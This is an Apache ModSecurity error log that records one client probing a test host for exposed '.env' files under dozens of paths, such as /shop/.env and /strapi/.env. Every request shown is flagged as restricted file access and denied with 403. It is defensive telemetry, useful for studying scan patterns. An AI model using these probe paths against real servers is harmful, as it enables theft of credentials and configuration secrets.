[Wed Feb 25 06:05:35.717449 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_gAAAAc&quot;]
[Wed Feb 25 06:05:35.762110 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_wAAAAc&quot;]
[Wed Feb 25 06:05:35.762377 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_wAAAAc&quot;]
[Wed Feb 25 06:05:35.762548 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_wAAAAc&quot;]
[Wed Feb 25 06:05:35.791511 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcQAAAAA&quot;]
[Wed Feb 25 06:05:35.791767 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcQAAAAA&quot;]
[Wed Feb 25 06:05:35.791932 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcQAAAAA&quot;]
[Wed Feb 25 06:05:35.817563 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAAAAAAc&quot;]
[Wed Feb 25 06:05:35.817806 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAAAAAAc&quot;]
[Wed Feb 25 06:05:35.817971 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAAAAAAc&quot;]
[Wed Feb 25 06:05:35.848253 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shibboleth/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcgAAAAA&quot;]
[Wed Feb 25 06:05:35.848619 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcgAAAAA&quot;]
[Wed Feb 25 06:05:35.848785 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcgAAAAA&quot;]
[Wed Feb 25 06:05:35.865536 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAQAAAAc&quot;]
[Wed Feb 25 06:05:35.865759 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAQAAAAc&quot;]
[Wed Feb 25 06:05:35.865914 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDZAQAAAAc&quot;]
[Wed Feb 25 06:05:35.923858 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcwAAAAA&quot;]
[Wed Feb 25 06:05:35.924155 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcwAAAAA&quot;]
[Wed Feb 25 06:05:35.924341 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibcwAAAAA&quot;]
[Wed Feb 25 06:05:36.145651 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shopware/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDcwAAAAU&quot;]
[Wed Feb 25 06:05:36.145949 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDcwAAAAU&quot;]
[Wed Feb 25 06:05:36.146128 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDcwAAAAU&quot;]
[Wed Feb 25 06:05:36.150924 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /strapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZAwAAAAc&quot;]
[Wed Feb 25 06:05:36.151187 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZAwAAAAc&quot;]
[Wed Feb 25 06:05:36.151372 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZAwAAAAc&quot;]
[Wed Feb 25 06:05:36.176012 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /simple_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdAAAAAU&quot;]
[Wed Feb 25 06:05:36.176292 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdAAAAAU&quot;]
[Wed Feb 25 06:05:36.176473 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdAAAAAU&quot;]
[Wed Feb 25 06:05:36.216430 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site-library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdQAAAAU&quot;]
[Wed Feb 25 06:05:36.216748 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdQAAAAU&quot;]
[Wed Feb 25 06:05:36.216799 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /style/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBAAAAAc&quot;]
[Wed Feb 25 06:05:36.216938 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdQAAAAU&quot;]
[Wed Feb 25 06:05:36.217064 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBAAAAAc&quot;]
